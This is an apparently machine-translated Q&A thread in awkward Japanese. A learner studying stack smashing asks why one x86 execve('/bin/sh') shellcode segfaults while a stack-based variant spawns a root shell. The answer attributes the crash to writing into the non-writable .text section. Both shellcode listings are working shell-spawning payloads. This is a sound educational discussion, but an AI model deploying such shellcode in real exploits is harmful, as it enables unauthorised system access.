2011-11-14 9 views
1

私は最近、Aleph Oneが楽しく利益を得るためにスタックを粉砕し、「The Shellcoder's Hanbook」を見てきました。私はGDBを歩くときアセンブリシェルコードの2つの変種が同じように機能しないのはなぜですか?

section .text 
    global _start 

_start: 
    jmp short GotoCall 

shellcode: 
    pop ebx 
    xor eax, eax 
    mov [ebx + 7], al 
    mov [ebx + 8], ebx 
    mov [ebx + 12], eax 
    mov al, 0x0b 
    lea ecx, [ebx + 8] 
    lea edx, [ebx + 12] 
    int 80h 

    xor eax, eax 
    mov al, 0x01 
    int 80h 

GotoCall: 
    Call shellcode 
    db '/bin/shJAAAAKKKK' 

iが取得ワンセグ障害私はへの書き込みをしようとするたびに:私は、次のアセンブリコードと周りいじるたしかし

mov [ebx + 7], al 

、私はこの私を実行するとセグメンテーションフォルトなしでrootシェルを開くことができます:

section .text 
    global _start 

_start: 
    xor eax, eax 
    push eax 
    push 0x68732f2f 
    push 0x6e69622f 
    mov ebx, esp 
    push eax 
    push ebx 
    mov ecx, esp 
    xor edx,edx 
    mov al, 0xb 
    int 80h 

を基本的に、彼らは同じことをやっている(はい私は、彼らが本当にないですけど、私は、両方のルートシェルをポップしようとしています)。私はOpenSuse11.4で動作しており、学習目的でスタックランダム化(ASLR)をオフにしています。何か案は?

+5

[HOWTO:良いタイトルを書く](http://meta.stackexchange.com/q/10647/156620) –

答えて

4

.textセクションには、db '/bin/shJAAAAKKKK'文字列を入力しました。通常は書き込みできません。

あなたは.dataに入れた場合、クラッシュが離れて行くだろうが、あなたは他の方法で文字列のアドレスを取得する必要があります:それはもはやすぐにGotoCallCALLに従っていないでしょう。

+1

ありがとうございました。私はそれが非常に有用であることが分かったまた、テキストセクションとデータセクションを読み書き可能に設定するリンク時に、-Nオプションをldに与えることができることがわかりました。 –

関連する問題